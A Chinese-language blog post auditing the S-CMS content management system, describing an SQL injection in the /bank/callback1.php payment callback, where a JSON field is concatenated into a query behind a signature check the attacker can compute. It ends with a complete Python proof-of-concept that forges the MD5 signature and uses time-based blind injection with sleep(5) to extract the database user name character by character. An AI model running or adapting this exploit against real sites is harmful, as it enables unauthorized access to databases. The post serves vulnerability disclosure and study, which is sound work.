代码审计之s-cms sql注入
问题出在/bank中的几个callback文件,以callback1.php为例:
image.png
第36行拼接的sql语句没有任何过滤:$sql="select * from SL_list where L_no like '".$P_no."'";
那么整个程序的逻辑就是
整个数据的执行流程是
$json_string=file_get_contents("php://input"); $obj=json_decode($json_string); $P_no = $obj->P_no; $sql="select * from SL_list where L_no like '".$P_no."'";
执行sql语句有个前提条件:if(strtolower(MD5("P_address=".$P_address."&P_attach=".$P_attach."&P_city=".$P_city."$xxxxx)))==strtolower($sign))
左边是我们提交的json值的数据的md5值,右边是$sign,$sign =$obj->sign;
即$sign也可控,也就是说提交的json值只需要满足sign=md5('P_address=xxx&P_attach=xxx+....')即可
为了方便看提交参数的md5值,改了下服务端代码,将其echo出来(加密是可以自己实现的,这里是为了方便看,后面有完整的poc)
image.png
成功之后会返回success,代表已经执行了下面的sqlselect * from SL_list where L_no like '1' and sleep(5)#';
讲道理这样就行了,但是在实际测试过程中并没有等待,研究了下是因为sql语句中,当前面查询的是个空表的时候,and后面的语句不会执行。
image.png
由于后面还有正常的inset操作,所以我们只需要传几个类型正确的参数过去让其插入一条语句即可,这样就可以继续盲注了。
image.png
注意一些参数是数值型,一些是字符。
附poc:
import jsonimport hashlibimport requestsimport timeimport sysdef md5(value): m= hashlib.md5() m.update(value) return m.hexdigest()def gen_data(P_no): value="P_address=aaa&P_attach=111&P_city=aaa&P_country=aaa&P_email=aaa&P_mobile=aaa&P_money=22222&P_name=aaaaa&P_no=%s&P_num=aaa&P_postcode=aaaa&P_price=aaaaaa&P_province=aaaa&P_qq=11111&P_remarks=22222&P_state=3333&P_time=4444&P_title=55555&P_type=666&P_url=7777&pkey=" %P_no data={ "P_address":"aaa", "P_attach":"111", "P_city":"aaa", "P_country":"aaa", "P_email":"aaa", "P_mobile":"aaa", "P_money":"22222", "P_name":"aaaaa", "P_no":P_no, "P_num":"aaa", "P_postcode":"aaaa", "P_price":"aaaaaa", "P_province":"aaaa", "P_qq":"11111", "P_remarks":"22222", "P_state":"3333", "P_time":"4444", "P_title":"55555", "P_type":"666", "P_url":"7777", "sign":md5(value) } return datadef veriy(): url=sys.argv[1]+'/bank/callback1.php' current_time=time.time() r1=requests.post(url=url,data=json.dumps(gen_data("1")),headers = {'Content-Type': 'application/json'}) r=requests.post(url=url,data=json.dumps(gen_data("1' and sleep(5)#")),headers = {'Content-Type': 'application/json'}) if time.time()-current_time>5 and 'success' in r.content: print '[*] vulunerbal' return Trueif veriy(): user='' for x in xrange(1,30): url=sys.argv[1]+'/bank/callback1.php' current_time=time.time() r=requests.post(url=url,data=json.dumps(gen_data("1' and if(length(user())=%s,sleep(5),1)#" %x)),headers = {'Content-Type': 'application/json'}) if time.time()-current_time>5 and 'success' in r.content: print '[*] user() length: %s' %x for y in xrange(1,x+1): for z in xrange(33,122): current_time=time.time() r=requests.post(url=url,data=json.dumps(gen_data("1' and if(ascii(substring(user(),%s,1))=%s,sleep(5),1)#" %(y,z))),headers = {'Content-Type': 'application/json'}) if time.time()-current_time>5 and 'success' in r.content: print chr(z) user+=chr(z) print '[*]user():',user
poc结果:
image.png
作者:身自在
链接:https://www.jianshu.com/p/cea481235598
共同学习,写下你的评论
评论加载中...
作者其他优质文章